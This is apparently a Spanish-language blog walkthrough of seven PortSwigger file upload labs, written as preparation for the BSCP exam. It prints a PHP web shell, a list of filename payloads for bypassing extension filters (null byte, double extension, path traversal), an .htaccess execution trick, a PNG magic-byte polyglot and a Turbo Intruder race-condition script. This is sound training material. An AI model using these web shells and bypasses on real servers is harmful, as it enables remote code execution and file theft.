¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a File Upload Vulnerabilities. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
Normalmente, los desarrolladores y administradores de aplicaciones web son conscientes de que no se puede dejar subir cualquier tipo de archivo y extensión a una web. Por ello, la gran mayoría suele tener algún tipo de protección. En cualquier caso, hemos visto y reportado numerosas vulnerabilidades relativas a la subida de ficheros, llegando a subir webshells varias veces, por lo que no debemos perderlas nunca de vista y siempre debemos testearlo con calma.
Lab1 (Apprentice) – Remote code execution via web shell upload
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
Comenzamos mapeando la superficie de exposición de la aplicación y vemos que tras iniciar sesión con las credenciales «wiener:peter», es posible subir una imagen a modo de avatar para el usuario. El primer paso consiste, obviamente, en probar dicha funcionalidad con una imagen de prueba. Como podemos ver, se lanza una petición POST a «/my-account/avatar» en la que se indica el contenido del fichero a subir.

Tras ello, se puede acceder al fichero a través de la ruta «/files/avatar/<nombrefichero>», tal como se observa en la siguiente ilustración:

Para explotar la vulnerabilidad, utilizaremos la primera petición indicando un fichero de tipo PHP. Aunque podemos no saber a ciencia cierta si la aplicación usa PHP, Java o cualquier otro lenguaje, podemos aplicar el método de ensayo-error. Forjamos una nueva petición en la que subamos un fichero PHP, cambiando el nombre del archivo, el contenido del mismo para tener una webshell básica y, muy importante, adaptando el MIME Type.
<?php echo(system($_GET['cmd']));?>

Y, una vez subida la webshell, accedemos al fichero de forma directa y a través del parámetro «cmd» podemos ejecutar código:

Finalmente, podemos lanzar el siguiente comando para obtener el contenido del fichero pedido:
cat%20/home/carlos/secret
Fíjate que la salida del comando aparece duplicada, por lo que deberás recortar la salida para que la respuesta sea válida.
Lab2 (Apprentice) – Web shell upload via Content-Type restriction bypass
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
De nuevo, deberíamos comenzar mapeando la superficie de exposición del servidor. En este laboratorio, igual que en el primero, tenemos implementada la subida de ficheros en el panel de cada usuario. Vemos que, de nuevo, se realiza el mismo proceso que en el primer laboratorio:


De nuevo, procedemos a cambiar el nombre del fichero, el contenido y la extensión para subir una webshell, tal cual se hizo anteriormente. Incluimos el siguiente contenido:
<?php echo(system($_GET['cmd']));?>

Como vemos, esta vez nos da un error indicando que el MIME Type del fichero no es soportado. Procedemos pues a cambiar el MIME Type por uno de los tipos soportados y reenviamos la petición, con el objetivo de determinar si el servidor luego toma este valor para realizar el procesamiento de los datos o lo recoge directamente del contenido:


Tal como vemos, se produce una discrepancia a la hora de interpretar el MIME Type. Aunque nosotros indicamos en la petición que es una imagen, el contenido del fichero es un PHP. El servidor, al recibir la petición, infiere el MIME Type del contenido, obteniendo como resultado un PHP. Por tanto, almacena el fichero como PHP y lo ejecuta al acceder a él. Para resolver el laboratorio, quedaría simplemente obtener el contenido del fichero (recuerda que aparece duplicado):
cat%20/home/carlos/secret
Lab3 (Practicioner) – Web shell upload via path traversal
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
Comenzamos de nuevo mapeando la funcionalidad de subida de ficheros mediante la inclusión de un avatar básico:


Siguiendo la misma lógica que en laboratorios anteriores, procedemos a intentar subir una webshell cambiando el nombre del fichero, el contenido y el MIME Type:
<?php echo(system($_GET['cmd']));?>


En este caso, como vemos, no logramos ejecutar el código y se refleja directamente nuestro fichero subido. Esto, normalmente, indica que la ruta en la que lo hemos subido está marcada para no ejecutar ficheros PHP. Para solucionar este inconveniente, procedemos a intentar subir el fichero en una ruta diferente mediante Path Traversal.
Fíjate que el nombre de fichero hace que al procesarse del lado del servidor, si se toma como valor para calcular la ruta, se suban varios directorios. Además, fíjate que necesitamos ofuscar el payload ya que el servidor hace «stripping» de la cadena «../», pero no de la cadena equivalente «..%2f».


Otro punto importante es que para acceder al fichero debemos subir al directorio «/files» y no a «/files/avatars», aunque tiene lógica al haber explotado el Path Traversal. Finalmente, para resolver el laboratorio obtenemos el contenido del fichero secreto:
cat%20/home/carlos/secret
Lab4 (Practicioner) – Web shell upload via extension blacklist bypass
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
Comenzamos mapeando la subida de archivos, al igual que en casos anteriores. Vemos que, de nuevo, la subida de ficheros está implementada igual que en el resto de laboratorios (POST a «/my-account/avatar» para subir el archivo y posteriormente se puede acceder con GET a «/files/avatars/<archivo>». Intentamos subir una webshell en PHP, tal como hemos hecho también en los otros 3 ejercicios:
<?php echo(system($_GET['cmd']));?>

Como se puede ver, la aplicación nos devuelve un error, lo cual parece indicar que los archivos PHP no pueden ser subidos. Utilizamos una extensión alternativa, como «.php5», que también es interpretada normalmente por servidores, teniendo éxito en este caso:

No obstante, al acceder a este fichero vemos que el servidor web no lo interpreta sino que nos devuelve su contenido:

Para que el servidor interprete el nuevo archivo que acabamos de subir, podemos intentar colocar un archivo «.htaccess» en el directorio «/files/avatars» que indique al servidor justamente que debe ejecutar los archivos PHP5. El contenido de este archivo sería el siguiente:
AddType application/x-httpd-php .php5

Tras subir este archivo, la extensión «.php5» debería ahora ser interpretada por el servidor. Accedemos de nuevo al fichero «shell.php5» y vemos que, efectivamente, tenemos ejecución remota de código. Para resolver el laboratorio, ahora, simplemente lanzamos el mismo payload:
cat%20/home/carlos/secret

Lab5 (Practicioner) – Web shell upload via obfuscated file extension
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
Una vez más, evaluamos el proceso de subida de archivos y vemos que es idéntico a los casos estudiados. Procedemos, pues, a intentar subir un fichero PHP.
<?php echo(system($_GET['cmd']));?>

Vemos que la aplicación solo soporta archivos de tipo JPG o PNG. Intentaremos bypasses comunes, tales como los explicados en la guía de PortSwigger (case sensitive, múltiples extensiones, trailing characters, URL encoding, semicolons y null bytes y multibyte unicode characters). Podemos probar los siguientes payloads para el nombre de fichero:
shell.pHp => Case sensitive bypass
shell.php.jpg => Double extension
shell.php. => Trailing character
shell%2ephp => URL encoding
shell.php;.jpg => Semicolon
shell.php%00.jpg => Null byte
shell.phpxC0x2E.jpg => Unicode characters (xC0 y x2E deben ser unicode)
De los payloads anteriores, vemos lo siguiente:
shell.pHp => Detectada como extensión no permitida
shell.php.jpg => Permite subir el fichero, pero no se interpreta
shell.php. => Detectada como extensión no permitida
shell%2ephp => Detectada como extensión no permitida
shell.php;.jpg => Permite subir el fichero, pero no se interpreta
shell.php%00.jpg => Subida permitida y fichero nombrado como «shell.php»
shell.phpxC0x2E.jpg => No probado, ya que el anterior payload es válido

Y, como es esperable, el fichero es subido como PHP al hacer stripping de la parte a la derecha del null byte a nivel de backend. Podemos, por tanto, resolver el laboratorio:
cat%20/home/carlos/secret

Lab6 (Practicioner) – Remote code execution via polyglot web shell upload
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
Una vez más, validamos la subida de ficheros y vemos que, en este caso, se comprueba que la imagen sea un JPEG. Probablemente, esto se hace a través de los magic bytes iniciales, que para el caso de JPEG deben ser «FF D8 FF» y en PNG deben ser «89 50 4E 47 0D 0A 1A 0A».
<?php echo(system($_GET['cmd']));?>

Para poder solucionarlo, lo que haremos será incluir los magic bytes del fichero PNG, tal como vemos en la siguiente figura:

Como vemos, el fichero se ha subido satisfactoriamente. Ahora, de nuevo, simplemente debemos obtener el contenido pedido:
cat%20/home/carlos/secret

Lab7 (Expert) – Web shell upload via race condition
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.». En este laboratorio debemos subir una webshell básica para poder obtener el contenido de un fichero en el servidor.
En este caso, lo primero de todo, nos dan el código de la función vulnerable. Conviene echarle siempre un ojo:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
Tal como vemos en negrita, lo primero que se hace es mover el fichero a la localización deseada. Si luego tiene virus o el tipo de fichero no es adecuado, se borra el fichero y se devuelve un 403. No obstante, parece lógico que hay un pequeño periodo de tiempo en el que el fichero original (el exploit, en este caso), está accesible.
Para poder explotar este laboratorio, vamos a realizar un script con Turbo Intruder para así ver cómo funciona la extensión. El código de Turbo Intruder será el siguiente.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/2
Host: 0a5600730438d6ea8107a70400bc000a.web-security-academy.net
Cookie: session=DdyJgBC0i386Ds1VvBTd4B4368YJgw3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary38351a2c11617af72d0c58592cfc4101
Content-Length: 527
Origin: https://0a5600730438d6ea8107a70400bc000a.web-security-academy.net
Referer: https://0a5600730438d6ea8107a70400bc000a.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
------geckoformboundary38351a2c11617af72d0c58592cfc4101
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------geckoformboundary38351a2c11617af72d0c58592cfc4101
Content-Disposition: form-data; name="user"
wiener
------geckoformboundary38351a2c11617af72d0c58592cfc4101
Content-Disposition: form-data; name="csrf"
q2pATg3Cckyviuyxk3y1dHH4PYtem63d
------geckoformboundary38351a2c11617af72d0c58592cfc4101--'''
request2 = '''GET /files/avatars/shell.php HTTP/2
Host: 0a5600730438d6ea8107a70400bc000a.web-security-academy.net
Cookie: session=DdyJgBC0i386Ds1VvBTd4B4368YJgw3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary38351a2c11617af72d0c58592cfc4101
Content-Length: 0
Origin: https://0a5600730438d6ea8107a70400bc000a.web-security-academy.net
Referer: https://0a5600730438d6ea8107a70400bc000a.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers\r\n\r\n\r\n'''
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Fíjate en el código en negrita. En primer lugar, generamos un fichero «shell.php» que obtiene el contenido del secreto. Lo que haremos después será encolar todas las peticiones para obtener el fichero «shell.php», guardándonos el último byte usando una «gate». Una vez que las tenemos todas preparadas, liberamos la «gate» de la primera petición (la de subida de archivo). Dado que hay un mínimo instante en que «shell.php» estará disponible, podremos obtener el secreto. Lanzamos el ataque y obtenemos las respuestas:

Este mismo código podríamos haberlo implementado en Python, pero Turbo Intruder es muy útil para condiciones de carrera. Y… Con esto… ¡¡Laboratorios finalizados!!
~km0xu95